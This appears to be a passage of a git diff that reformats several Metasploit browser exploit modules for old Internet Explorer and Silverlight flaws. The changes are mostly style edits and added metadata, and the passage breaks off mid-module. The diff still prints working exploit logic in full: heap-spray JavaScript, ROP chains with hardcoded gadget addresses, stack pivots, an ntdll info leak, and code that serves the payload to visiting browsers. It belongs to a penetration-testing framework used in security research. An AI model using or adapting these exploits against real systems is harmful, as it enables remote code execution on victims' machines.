get_target(agent) @@ -172,7 +177,7 @@ def on_request_uri(cli, request) return end - js_code = Rex::Text.to_unescape(get_payload(my_target), Rex::Arch.endian(target.arch)) + js_code = Rex::Text.to_unescape(get_payload(my_target), Rex::Arch.endian(target.arch)) table_builder = '' diff --git a/modules/exploits/windows/browser/ms12_037_same_id.rb b/modules/exploits/windows/browser/ms12_037_same_id.rb index 983bb73cdea28..3ba8ea468b72b 100644 --- a/modules/exploits/windows/browser/ms12_037_same_id.rb +++ b/modules/exploits/windows/browser/ms12_037_same_id.rb @@ -9,25 +9,25 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::RopDb - def initialize(info={}) - super(update_info(info, - 'Name' => "MS12-037 Microsoft Internet Explorer Same ID Property Deleted Object Handling Memory Corruption", - 'Description' => %q{ + def initialize(info = {}) + super( + update_info( + info, + 'Name' => "MS12-037 Microsoft Internet Explorer Same ID Property Deleted Object Handling Memory Corruption", + 'Description' => %q{ This module exploits a memory corruption flaw in Internet Explorer 8 when - handling objects with the same ID property. At the moment this module targets - IE8 over Windows XP SP3 and Windows 7. This module supports heap massaging - as well as the heap spray method seen in the wild (Java msvcrt71.dll). - }, - 'License' => MSF_LICENSE, - 'Author' => - [ - 'Dark Son', # Vulnerability discovery + handling objects with the same ID property. At the moment this module targets + IE8 over Windows XP SP3 and Windows 7. This module supports heap massaging + as well as the heap spray method seen in the wild (Java msvcrt71.dll). + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Dark Son', # Vulnerability discovery 'Unknown', # Credited to both Qihoo 360 Security Center and Google, Inc. for Vulnerability discovery 'Yichong Lin', # Vulnerability discovery 'juan vazquez' # Metasploit module ], - 'References' => - [ + 'References' => [ [ 'MSB', 'MS12-037'], [ 'CVE', '2012-1875' ], [ 'OSVDB', '82865'], @@ -35,54 +35,58 @@ def initialize(info={}) [ 'URL', 'https://twitter.com/binjo/status/212795802974830592' ], # Exploit found in the wild [ 'URL', 'https://www.rapid7.com/blog/post/2012/06/18/metasploit-exploits-critical-microsoft-vulnerabilities'] ], - 'Payload' => - { - 'Space' => 1024, + 'Payload' => { + 'Space' => 1024, 'BadChars' => "\x00", 'DisableNops' => true }, - 'DefaultOptions' => - { + 'DefaultOptions' => { 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, - 'Platform' => 'win', - 'Targets' => - [ + 'Platform' => 'win', + 'Targets' => [ [ 'Automatic', {} ], [ 'IE 8 on Windows XP SP3 with msvcrt ROP', { - 'Rop' => :msvcrt, + 'Rop' => :msvcrt, 'RopOffset' => '0x5f4', - 'Ret' => 0x77c15ed5 # xchg eax, esp # ret # from msvcrt.dll + 'Ret' => 0x77c15ed5 # xchg eax, esp # ret # from msvcrt.dll } ], [ 'IE 8 on Windows XP SP3 with JRE ROP', { - 'Rop' => :jre, + 'Rop' => :jre, 'RopOffset' => '0x5f4', - 'Ret' => 0x7c348b05 # xchg eax, esp # ret # from msvcr71.dll + 'Ret' => 0x7c348b05 # xchg eax, esp # ret # from msvcr71.dll } ], [ 'IE 8 on Windows 7 SP1/Vista SP2 with JRE ROP', { - 'Rop' => :jre, + 'Rop' => :jre, 'RopOffset' => '0x5f4', - 'Ret' => 0x7c348b05 # xchg eax, esp # ret # from msvcr71.dll + 'Ret' => 0x7c348b05 # xchg eax, esp # ret # from msvcr71.dll } ], ], - 'Privileged' => false, - 'DisclosureDate' => '2012-06-12', - 'DefaultTarget' => 0)) + 'Privileged' => false, + 'DisclosureDate' => '2012-06-12', + 'DefaultTarget' => 0, + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => UNKNOWN_STABILITY, + 'SideEffects' => UNKNOWN_SIDE_EFFECTS + } + ) + ) register_options( [ OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]) - ]) - + ] + ) end def get_target(agent) @@ -127,19 +131,17 @@ def get_rop_chain(t) case t['Rop'] when :msvcrt print_status("Using msvcrt ROP") - rop = generate_rop_payload('msvcrt', '', {'target'=>'xp', 'pivot'=>pivot}) + rop = generate_rop_payload('msvcrt', '', { 'target' => 'xp', 'pivot' => pivot }) else print_status("Using JRE ROP") - rop = generate_rop_payload('java', '', {'pivot'=>pivot}) + rop = generate_rop_payload('java', '', { 'pivot' => pivot }) end return rop - end def on_request_uri(cli, request) - agent = request.headers['User-Agent'] my_target = get_target(agent) @@ -183,7 +185,7 @@ def on_request_uri(cli, request) } JS - js_spray = heaplib(js_spray, {:noobfu => true}) + js_spray = heaplib(js_spray, { :noobfu => true }) trigger_f = "trigger" feng_shui_f = "feng_shui" @@ -266,11 +268,10 @@ def on_request_uri(cli, request) html = html.gsub(/^ {6}/, '') print_status("Sending html") - send_response(cli, html, {'Content-Type'=>'text/html'}) + send_response(cli, html, { 'Content-Type' => 'text/html' }) end end - =begin * crash (a9c.998): Access violation - code c0000005 (first chance) diff --git a/modules/exploits/windows/browser/ms13_009_ie_slayoutrun_uaf.rb b/modules/exploits/windows/browser/ms13_009_ie_slayoutrun_uaf.rb index e7898ea0b2d53..08a79d1203cb9 100644 --- a/modules/exploits/windows/browser/ms13_009_ie_slayoutrun_uaf.rb +++ b/modules/exploits/windows/browser/ms13_009_ie_slayoutrun_uaf.rb @@ -9,56 +9,60 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::RopDb - def initialize(info={}) - super(update_info(info, - 'Name' => "MS13-009 Microsoft Internet Explorer SLayoutRun Use-After-Free", - 'Description' => %q{ - This module exploits a use-after-free vulnerability in Microsoft Internet Explorer - where a CParaElement node is released but a reference is still kept - in CDoc. This memory is reused when a CDoc relayout is performed. - }, - 'License' => MSF_LICENSE, - 'Author' => - [ + def initialize(info = {}) + super( + update_info( + info, + 'Name' => "MS13-009 Microsoft Internet Explorer SLayoutRun Use-After-Free", + 'Description' => %q{ + This module exploits a use-after-free vulnerability in Microsoft Internet Explorer + where a CParaElement node is released but a reference is still kept + in CDoc. This memory is reused when a CDoc relayout is performed. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'Scott Bell ' # Vulnerability discovery & Metasploit module ], - 'References' => - [ + 'References' => [ [ 'CVE', '2013-0025' ], [ 'OSVDB', '90122' ], [ 'MSB', 'MS13-009' ], [ 'URL', 'http://security-assessment.com/files/documents/advisory/ie_slayoutrun_uaf.pdf' ] ], - 'Payload' => - { - 'BadChars' => "\x00", - 'Space' => 920, - 'DisableNops' => true, + 'Payload' => { + 'BadChars' => "\x00", + 'Space' => 920, + 'DisableNops' => true, 'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500 }, - 'DefaultOptions' => - { + 'DefaultOptions' => { 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, - 'Platform' => 'win', - 'Targets' => - [ + 'Platform' => 'win', + 'Targets' => [ [ 'Automatic', {} ], [ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt, 'Offset' => 0x5f4 } ] ], - 'Privileged' => false, - 'DisclosureDate' => '2013-02-13', - 'DefaultTarget' => 0)) + 'Privileged' => false, + 'DisclosureDate' => '2013-02-13', + 'DefaultTarget' => 0, + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => UNKNOWN_STABILITY, + 'SideEffects' => UNKNOWN_SIDE_EFFECTS + } + ) + ) register_options( [ OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]) - ]) - + ] + ) end def get_target(agent) - #If the user is already specified by the user, we'll just use that + # If the user is already specified by the user, we'll just use that return target if target.name != 'Automatic' nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || '' @@ -83,7 +87,7 @@ def get_target(agent) def heap_spray(my_target, p) js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch)) - js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch)) + js_nops = Rex::Text.to_unescape("\x0c" * 4, Rex::Arch.endian(target.arch)) randnop = rand_text_alpha(rand(100) + 1) js = %Q| @@ -103,7 +107,7 @@ def heap_spray(my_target, p) } | - js = heaplib(js, {:noobfu => true}) + js = heaplib(js, { :noobfu => true }) if datastore['OBFUSCATE'] js = ::Rex::Exploitation::JSObfu.new(js) @@ -125,7 +129,7 @@ def get_payload(t, cli) when :msvcrt print_status("Using msvcrt ROP") rop_nops = [0x77c39f92].pack("V") * 11 # RETN - rop_payload = generate_rop_payload('msvcrt', "", {'target'=>'xp'}) + rop_payload = generate_rop_payload('msvcrt', "", { 'target' => 'xp' }) rop_payload << rop_nops rop_payload << [0x77c364d5].pack("V") # POP EBP # RETN rop_payload << [0x77c15ed5].pack("V") # XCHG EAX, ESP # RETN @@ -139,7 +143,7 @@ def get_payload(t, cli) end def get_exploit(my_target, cli) - p = get_payload(my_target, cli) + p = get_payload(my_target, cli) js = heap_spray(my_target, p) html = %Q| @@ -177,10 +181,9 @@ def get_exploit(my_target, cli) return html end - def on_request_uri(cli, request) agent = request.headers['User-Agent'] - uri = request.uri + uri = request.uri print_status("Requesting: #{uri}") my_target = get_target(agent) @@ -194,8 +197,6 @@ def on_request_uri(cli, request) html = get_exploit(my_target, cli) html = html.gsub(/^ {4}/, '') print_status "Sending HTML..." - send_response(cli, html, {'Content-Type'=>'text/html'}) - + send_response(cli, html, { 'Content-Type' => 'text/html' }) end end - diff --git a/modules/exploits/windows/browser/ms13_022_silverlight_script_object.rb b/modules/exploits/windows/browser/ms13_022_silverlight_script_object.rb index 481f5d0bbf71a..8aaa734e772ed 100644 --- a/modules/exploits/windows/browser/ms13_022_silverlight_script_object.rb +++ b/modules/exploits/windows/browser/ms13_022_silverlight_script_object.rb @@ -8,35 +8,35 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::BrowserExploitServer - MANIFEST = <<-EOS - - - - - + MANIFEST = <<~EOS + + + + + EOS - def initialize(info={}) - super(update_info(info, - 'Name' => "MS13-022 Microsoft Silverlight ScriptObject Unsafe Memory Access", - 'Description' => %q{ - This module exploits a vulnerability in Microsoft Silverlight. The vulnerability exists on - the Initialize() method from System.Windows.Browser.ScriptObject, which access memory in an - unsafe manner. Since it is accessible for untrusted code (user controlled) it's possible - to dereference arbitrary memory which easily leverages to arbitrary code execution. In order - to bypass DEP/ASLR a second vulnerability is used, in the public WriteableBitmap class - from System.Windows.dll. This module has been tested successfully on IE6 - IE10, Windows XP - SP3 / Windows 7 SP1. - }, - 'License' => MSF_LICENSE, - 'Author' => - [ - 'James Forshaw', # RCE Vulnerability discovery + def initialize(info = {}) + super( + update_info( + info, + 'Name' => "MS13-022 Microsoft Silverlight ScriptObject Unsafe Memory Access", + 'Description' => %q{ + This module exploits a vulnerability in Microsoft Silverlight. The vulnerability exists on + the Initialize() method from System.Windows.Browser.ScriptObject, which access memory in an + unsafe manner. Since it is accessible for untrusted code (user controlled) it's possible + to dereference arbitrary memory which easily leverages to arbitrary code execution. In order + to bypass DEP/ASLR a second vulnerability is used, in the public WriteableBitmap class + from System.Windows.dll. This module has been tested successfully on IE6 - IE10, Windows XP + SP3 / Windows 7 SP1. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'James Forshaw', # RCE Vulnerability discovery 'Vitaliy Toropov', # Info Leak discovery, original exploit, all the hard work 'juan vazquez' # Metasploit module ], - 'References' => - [ + 'References' => [ [ 'CVE', '2013-0074' ], [ 'CVE', '2013-3896' ], [ 'OSVDB', '91147' ], @@ -47,41 +47,43 @@ def initialize(info={}) [ 'MSB', 'MS13-087' ], [ 'PACKETSTORM', '123731' ] ], - 'DefaultOptions' => - { + 'DefaultOptions' => { 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', - 'EXITFUNC' => 'thread' + 'EXITFUNC' => 'thread' }, - 'Platform' => 'win', - 'Arch' => ARCH_X86, - 'BrowserRequirements' => - { - :source => /script|headers/i, - :os_name => OperatingSystems::Match::WINDOWS, - :ua_name => Msf::HttpClients::IE, + 'Platform' => 'win', + 'Arch' => ARCH_X86, + 'BrowserRequirements' => { + :source => /script|headers/i, + :os_name => OperatingSystems::Match::WINDOWS, + :ua_name => Msf::HttpClients::IE, :silverlight => "true" }, - 'Targets' => - [ + 'Targets' => [ [ 'Windows x86/x64', {} ] ], - 'Privileged' => false, - 'DisclosureDate' => '2013-03-12', - 'DefaultTarget' => 0)) - + 'Privileged' => false, + 'DisclosureDate' => '2013-03-12', + 'DefaultTarget' => 0, + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => UNKNOWN_STABILITY, + 'SideEffects' => UNKNOWN_SIDE_EFFECTS + } + ) + ) end def setup @xap_name = "#{rand_text_alpha(5 + rand(5))}.xap" @dll_name = "#{rand_text_alpha(5 + rand(5))}.dll" - File.open(File.join( Msf::Config.data_directory, "exploits", "cve-2013-0074", "SilverApp1.xap" ), "rb") { |f| @xap = f.read } - File.open(File.join( Msf::Config.data_directory, "exploits", "cve-2013-0074", "SilverApp1.dll" ), "rb") { |f| @dll = f.read } + File.open(File.join(Msf::Config.data_directory, "exploits", "cve-2013-0074", "SilverApp1.xap"), "rb") { |f| @xap = f.read } + File.open(File.join(Msf::Config.data_directory, "exploits", "cve-2013-0074", "SilverApp1.dll"), "rb") { |f| @dll = f.read } @xaml = MANIFEST.gsub(/SilverApp1\.dll/, @dll_name) super end def exploit_template(cli, target_info) - my_payload = get_payload(cli, target_info) # Align to 4 bytes the x86 payload @@ -91,31 +93,31 @@ def exploit_template(cli, target_info) my_payload = Rex::Text.encode_base64(my_payload) - html_template = <<-EOF - - - - Silverlight Application - - - -
-
- - - - - -
-
- - -EOF + html_template = <<~EOF + + + + Silverlight Application + + + +
+
+ + + + + +
+
+ + + EOF return html_template, binding() end @@ -137,4 +139,3 @@ def on_request_exploit(cli, request, target_info) end end end - diff --git a/modules/exploits/windows/browser/ms13_037_svg_dashstyle.rb b/modules/exploits/windows/browser/ms13_037_svg_dashstyle.rb index 154e349ab2b7e..8376d8e4920d4 100644 --- a/modules/exploits/windows/browser/ms13_037_svg_dashstyle.rb +++ b/modules/exploits/windows/browser/ms13_037_svg_dashstyle.rb @@ -9,87 +9,92 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::BrowserExploitServer include Msf::Exploit::RopDb - def initialize(info={}) - super(update_info(info, - 'Name' => "MS13-037 Microsoft Internet Explorer COALineDashStyleArray Integer Overflow", - 'Description' => %q{ + def initialize(info = {}) + super( + update_info( + info, + 'Name' => "MS13-037 Microsoft Internet Explorer COALineDashStyleArray Integer Overflow", + 'Description' => %q{ This module exploits an integer overflow vulnerability on Internet Explorer. - The vulnerability exists in the handling of the dashstyle.array length for vml - shapes on the vgx.dll module. + The vulnerability exists in the handling of the dashstyle.array length for vml + shapes on the vgx.dll module. The exploit has been built and tested specifically against Windows 7 SP1 with - Internet Explorer 8. It uses either JRE6 or an information leak (to ntdll) to - bypass ASLR, and by default the info leak is used. To make sure the leak is - successful, the ntdll version should be either v6.1.7601.17514 (the default dll - version on a newly installed/unpatched Windows 7 SP1), or ntdll.dll v6.1.7601.17725 - (installed after apply MS12-001). If the target doesn't have the version the exploit - wants, it will refuse to attack by sending a fake 404 message (webpage not found). + Internet Explorer 8. It uses either JRE6 or an information leak (to ntdll) to + bypass ASLR, and by default the info leak is used. To make sure the leak is + successful, the ntdll version should be either v6.1.7601.17514 (the default dll + version on a newly installed/unpatched Windows 7 SP1), or ntdll.dll v6.1.7601.17725 + (installed after apply MS12-001). If the target doesn't have the version the exploit + wants, it will refuse to attack by sending a fake 404 message (webpage not found). If you wish to try the JRE6 component instead to bypass ASLR, you can set the - advanced datastore option to 'JRE6'. If JRE6 is chosen but the target doesn't - have this particular component, the exploit will also refuse to attack by - sending a 404 message. - }, - 'License' => MSF_LICENSE, - 'Author' => - [ + advanced datastore option to 'JRE6'. If JRE6 is chosen but the target doesn't + have this particular component, the exploit will also refuse to attack by + sending a 404 message. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'Nicolas Joly', # Vulnerability discovery, PoC and analysis '4B5F5F4B', # PoC 'juan vazquez', # Metasploit module 'sinn3r' # BES upgrade ], - 'References' => - [ + 'References' => [ [ 'CVE', '2013-2551' ], [ 'OSVDB', '91197' ], [ 'BID', '58570' ], [ 'MSB', 'MS13-037' ], [ 'URL', 'http://binvul.com/viewthread.php?tid=311' ] ], - 'Payload' => - { - 'Space' => 948, - 'DisableNops' => true, + 'Payload' => { + 'Space' => 948, + 'DisableNops' => true, 'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500 }, - 'DefaultOptions' => - { + 'DefaultOptions' => { 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, - 'Platform' => 'win', - 'Arch' => ARCH_X86, - 'BrowserRequirements' => - { + 'Platform' => 'win', + 'Arch' => ARCH_X86, + 'BrowserRequirements' => { :source => /script/i, :os_name => OperatingSystems::Match::WINDOWS_7, :ua_name => HttpClients::IE, - :ua_ver => '8.0', + :ua_ver => '8.0', }, - 'Targets' => - [ + 'Targets' => [ [ 'IE 8 on Windows 7 SP1', - { - 'Offset' => '0x5f4' - } + { + 'Offset' => '0x5f4' + } ] ], - 'Privileged' => false, - 'DisclosureDate' => '2013-03-06', - 'DefaultTarget' => 0)) + 'Privileged' => false, + 'DisclosureDate' => '2013-03-06', + 'DefaultTarget' => 0, + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => UNKNOWN_STABILITY, + 'SideEffects' => UNKNOWN_SIDE_EFFECTS + } + ) + ) register_options( [ OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]) - ]) + ] + ) register_advanced_options( [ - # ntdll requires: - # * ntdll.dll v6.1.7601.17514 (fresh W7SP1 installation) - # * ntdll.dll v6.1.7601.17725 (MS12-001) + # ntdll requires: + # * ntdll.dll v6.1.7601.17514 (fresh W7SP1 installation) + # * ntdll.dll v6.1.7601.17725 (MS12-001) OptEnum.new('ROP', [true, 'The type of ROP to use (JRE6 or leak NTDLL)', 'NTDLL', ['JRE6', 'NTDLL'] ]) - ]) + ] + ) end def exploit @@ -101,7 +106,7 @@ def exploit def ie_heap_spray(my_target, p) js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch)) - js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch)) + js_nops = Rex::Text.to_unescape("\x0c" * 4, Rex::Arch.endian(target.arch)) randnop = rand_text_alpha(rand(100) + 1) # Land the payload at 0x0c0c0c0c @@ -122,7 +127,7 @@ def ie_heap_spray(my_target, p) } | - js = heaplib(js, {:noobfu => true}) + js = heaplib(js, { :noobfu => true }) if datastore['OBFUSCATE'] js = ::Rex::Exploitation::JSObfu.new(js) @@ -136,12 +141,12 @@ def get_ntdll_rop case @ntdll_version when "6.1.7601.17514" stack_pivot = [ - @ntdll_base+0x0001578a, # ret # from ntdll - @ntdll_base+0x000096c9, # pop ebx # ret # from ntdll - @ntdll_base+0x00015789, # xchg eax, esp # ret from ntdll + @ntdll_base + 0x0001578a, # ret # from ntdll + @ntdll_base + 0x000096c9, # pop ebx # ret # from ntdll + @ntdll_base + 0x00015789, # xchg eax, esp # ret from ntdll ].pack("V*") ntdll_rop = [ - @ntdll_base+0x45F18, # ntdll!ZwProtectVirtualMemory + @ntdll_base + 0x45F18, # ntdll!ZwProtectVirtualMemory 0x0c0c0c40, # ret to shellcode 0xffffffff, # ProcessHandle 0x0c0c0c34, # ptr to BaseAddress @@ -155,12 +160,12 @@ def get_ntdll_rop return stack_pivot + ntdll_rop when "6.1.7601.17725" stack_pivot = [ - @ntdll_base+0x0001579a, # ret # from ntdll - @ntdll_base+0x000096c9, # pop ebx # ret # from ntdll - @ntdll_base+0x00015799, # xchg eax, esp # ret from ntdll + @ntdll_base + 0x0001579a, # ret # from ntdll + @ntdll_base + 0x000096c9, # pop ebx # ret # from ntdll + @ntdll_base + 0x00015799, # xchg eax, esp # ret from ntdll ].pack("V*") ntdll_rop = [ - @ntdll_base+0x45F18, # ntdll!ZwProtectVirtualMemory + @ntdll_base + 0x45F18, # ntdll!ZwProtectVirtualMemory 0x0c0c0c40, # ret to shellcode 0xffffffff, # ProcessHandle 0x0c0c0c34, # ptr to BaseAddress @@ -191,7 +196,7 @@ def get_payload(t, cli) 0x7c341748, # pop ebx # ret # from msvcr71 0x7c348b05 # xchg eax, esp # ret from msvcr71 ].pack("V*") - rop_payload = generate_rop_payload('java', code, {'pivot'=>stack_pivot}) + rop_payload = generate_rop_payload('java', code, { 'pivot' => stack_pivot }) when :ntdll print_status("Using ntdll ROP") rop_payload = get_ntdll_rop + payload.encoded @@ -201,7 +206,7 @@ def get_payload(t, cli) end def load_exploit_html(my_target, cli) - p = get_payload(my_target, cli) + p = get_payload(my_target, cli) js = ie_heap_spray(my_target, p) js_trigger = %Q| @@ -277,7 +282,6 @@ def load_exploit_html(my_target, cli) end def html_info_leak - uri_prefix = "#{get_resource.chomp("/")}/#{@second_stage_url}".gsub('//', '/') js_trigger = %Q| @@ -358,7 +362,6 @@ def html_info_leak | return html - end def set_rop(t, rop, info) @@ -389,7 +392,7 @@ def on_request_exploit(cli, request, target_info) if my_target.opts['Rop'] == :ntdll and request.uri !~ /#{@second_stage_url}/ html = html_info_leak print_status("Sending HTML to info leak...") - send_response(cli, html, {'Content-Type'=>'text/html'}) + send_response(cli, html, { 'Content-Type' => 'text/html' }) else leak = begin request.uri_parts["QueryString"][@leak_param].to_i @@ -400,7 +403,7 @@ def on_request_exploit(cli, request, target_info) if leak == 0 html = load_exploit_html(my_target, cli) print_status("Sending HTML to trigger...") - send_response(cli, html, {'Content-Type'=>'text/html'}) + send_response(cli, html, { 'Content-Type' => 'text/html' }) return end @@ -422,9 +425,8 @@ def on_request_exploit(cli, request, target_info) html = load_exploit_html(my_target, cli) print_status("Sending HTML to trigger...") - send_response(cli, html, {'Content-Type'=>'text/html'}) + send_response(cli, html, { 'Content-Type' => 'text/html' }) end - end end diff --git a/modules/exploits/windows/browser/ms13_055_canchor.rb b/modules/exploits/windows/browser/ms13_055_canchor.rb index d6d9dc5d6cc2a..b659f183d3d39 100644 --- a/modules/exploits/windows/browser/ms13_055_canchor.rb +++ b/modules/exploits/windows/browser/ms13_055_canchor.rb @@ -9,51 +9,50 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::RopDb - def initialize(info={}) - super(update_info(info, - 'Name' => "MS13-055 Microsoft Internet Explorer CAnchorElement Use-After-Free", - 'Description' => %q{ - In IE8 standards mode, it's possible to cause a use-after-free condition by first - creating an illogical table tree, where a CPhraseElement comes after CTableRow, - with the final node being a sub table element. When the CPhraseElement's outer - content is reset by using either outerText or outerHTML through an event handler, - this triggers a free of its child element (in this case, a CAnchorElement, but - some other objects apply too), but a reference is still kept in function - SRunPointer::SpanQualifier. This function will then pass on the invalid reference - to the next functions, eventually used in mshtml!CElement::Doc when it's trying to - make a call to the object's SecurityContext virtual function at offset +0x70, which - results a crash. An attacker can take advantage of this by first creating an - CAnchorElement object, let it free, and then replace the freed memory with another - fake object. Successfully doing so may allow arbitrary code execution under the - context of the user. - - This bug is specific to Internet Explorer 8 only. It was originally discovered by - Jose Antonio Vazquez Gonzalez and reported to iDefense, but was discovered again - by Orange Tsai at Hitcon 2013. - }, - 'License' => MSF_LICENSE, - 'Author' => - [ + def initialize(info = {}) + super( + update_info( + info, + 'Name' => "MS13-055 Microsoft Internet Explorer CAnchorElement Use-After-Free", + 'Description' => %q{ + In IE8 standards mode, it's possible to cause a use-after-free condition by first + creating an illogical table tree, where a CPhraseElement comes after CTableRow, + with the final node being a sub table element. When the CPhraseElement's outer + content is reset by using either outerText or outerHTML through an event handler, + this triggers a free of its child element (in this case, a CAnchorElement, but + some other objects apply too), but a reference is still kept in function + SRunPointer::SpanQualifier. This function will then pass on the invalid reference + to the next functions, eventually used in mshtml!CElement::Doc when it's trying to + make a call to the object's SecurityContext virtual function at offset +0x70, which + results a crash. An attacker can take advantage of this by first creating an + CAnchorElement object, let it free, and then replace the freed memory with another + fake object. Successfully doing so may allow arbitrary code execution under the + context of the user. + + This bug is specific to Internet Explorer 8 only. It was originally discovered by + Jose Antonio Vazquez Gonzalez and reported to iDefense, but was discovered again + by Orange Tsai at Hitcon 2013. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'Jose Antonio Vazquez Gonzalez', # Original discovery reported from iDefense 'Orange Tsai', # Rediscovery, published at Hitcon 2013 'Peter Vreugdenhil', # Joins the party (wtfuzz) 'sinn3r' # Joins the party ], - 'References' => - [ + 'References' => [ [ 'CVE', '2013-3163' ], [ 'OSVDB', '94981' ], - [ 'MSB', 'MS13-055' ], + [ 'MSB', 'MS13-055' ], [ 'URL', 'https://speakerd.s3.amazonaws.com/presentations/0df98910d26c0130e8927e81ab71b214/for-share.pdf' ] ], - 'Platform' => 'win', - 'Targets' => - [ + 'Platform' => 'win', + 'Targets' => [ [ 'Automatic', {} ], [ 'IE 8 on Windows XP SP3', { - 'Rop' => :msvcrt, + 'Rop' => :msvcrt, 'Pivot' => 0x77c15ed5, # xchg eax, esp; ret 'Align' => 0x77c4d801 # add esp, 0x2c; ret } @@ -61,25 +60,30 @@ def initialize(info={}) [ 'IE 8 on Windows 7', { - 'Rop' => :jre, + 'Rop' => :jre, 'Pivot' => 0x7c348b05, # xchg eax, esp; ret 'Align' => 0x7C3445F8 # add esp, 0x2c; ret } ] ], - 'Payload' => - { + 'Payload' => { 'BadChars' => "\x00" }, - 'DefaultOptions' => - { + 'DefaultOptions' => { 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, - 'Privileged' => false, - # Bug was patched in July 2013. Tsai was the first to publish the bug. - # But Jose already reported way back in Oct 2012 (to iDefense) - 'DisclosureDate' => '2013-07-09', - 'DefaultTarget' => 0)) + 'Privileged' => false, + # Bug was patched in July 2013. Tsai was the first to publish the bug. + # But Jose already reported way back in Oct 2012 (to iDefense) + 'DisclosureDate' => '2013-07-09', + 'DefaultTarget' => 0, + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => UNKNOWN_STABILITY, + 'SideEffects' => UNKNOWN_SIDE_EFFECTS + } + ) + ) end def get_target(agent) @@ -111,12 +115,12 @@ def get_payload(t) print_status("Using msvcrt ROP") esp_align = "\x81\xc4\x54\xf2\xff\xff" rop_dll = 'msvcrt' - opts = {'target'=>'xp'} + opts = { 'target' => 'xp' } else print_status("Using JRE ROP") esp_align = "\x81\xEC\xF0\xD8\xFF\xFF" # sub esp, -10000 rop_dll = 'java' - opts = {} + opts = {} end p = esp_align + payload.encoded + rand_text_alpha(12000) @@ -124,11 +128,11 @@ def get_payload(t) end def get_html(t, p) - junk = rand_text_alpha(4).unpack("V")[0].to_i - js_pivot = Rex::Text.to_unescape([t['Pivot']].pack("V*")) + junk = rand_text_alpha(4).unpack("V")[0].to_i + js_pivot = Rex::Text.to_unescape([t['Pivot']].pack("V*")) js_payload = Rex::Text.to_unescape(p) - js_align = Rex::Text.to_unescape([t['Align']].pack("V*")) - js_junk = Rex::Text.to_unescape([junk].pack("V*")) + js_align = Rex::Text.to_unescape([t['Align']].pack("V*")) + js_junk = Rex::Text.to_unescape([junk].pack("V*")) q_id = Rex::Text.rand_text_alpha(1) @@ -191,7 +195,7 @@ def on_request_uri(cli, request) p = get_payload(t) html = get_html(t, p) print_status("Sending exploit...") - send_response(cli, html, {'Content-Type'=>'text/html', 'Cache-Control'=>'no-cache'}) + send_response(cli, html, { 'Content-Type' => 'text/html', 'Cache-Control' => 'no-cache' }) else print_error("Not a suitable target: #{agent}") send_not_found(cli) diff --git a/modules/exploits/windows/browser/ms13_059_cflatmarkuppointer.rb b/modules/exploits/windows/browser/ms13_059_cflatmarkuppointer.rb index 672bdf008969a..6715f384504df 100644 --- a/modules/exploits/windows/browser/ms13_059_cflatmarkuppointer.rb +++ b/modules/exploits/windows/browser/ms13_059_cflatmarkuppointer.rb @@ -8,76 +8,79 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::BrowserExploitServer - def initialize(info={}) - super(update_info(info, - 'Name' => "MS13-059 Microsoft Internet Explorer CFlatMarkupPointer Use-After-Free", - 'Description' => %q{ - This is a memory corruption bug found in Microsoft Internet Explorer. On IE 9, - it seems to only affect certain releases of mshtml.dll, ranging from a newly - installed IE9 (9.0.8112.16446), to 9.00.8112.16502 (July 2013 update). IE8 - requires a different way to trigger the vulnerability, but not currently covered - by this module. - - The issue is specific to the browser's IE7 document compatibility, which can be - defined in X-UA-Compatible, and the content editable mode must be enabled. An - "onmove" event handler is also necessary to be able to trigger the bug, and the - event will be run twice before the crash. The first time is due to the position - change of the body element, which is also when a MSHTML!CFlatMarkupPointer::`vftable' - object is created during a "SelectAll" command, and this object will be used later - on for the crash. The second onmove event seems to be triggered by a InsertButton - (or Insert-whatever) command, which is also responsible for the free of object - CFlatMarkupPointer during page rendering. The EnsureRecalcNotify() function will - then still return an invalid reference to CFlatMarkupPointer (stored in EBX), and - then passes this on to the next functions (GetLineInfo -> QIClassID). When this - reference arrives in function QIClassID, an access violation finally occurs when - the function is trying to call QueryInterface() with the bad reference, and this - results a crash. Successful control of the freed memory may leverage arbitrary code - execution under the context of the user. - - Note: It is also possible to see a different object being freed and used, doesn't - always have to be CFlatMarkupPointer. - }, - 'License' => MSF_LICENSE, - 'Author' => - [ - 'corelanc0d3r', # Vuln discovery, PoC - 'sinn3r' # Metasploit + def initialize(info = {}) + super( + update_info( + info, + 'Name' => "MS13-059 Microsoft Internet Explorer CFlatMarkupPointer Use-After-Free", + 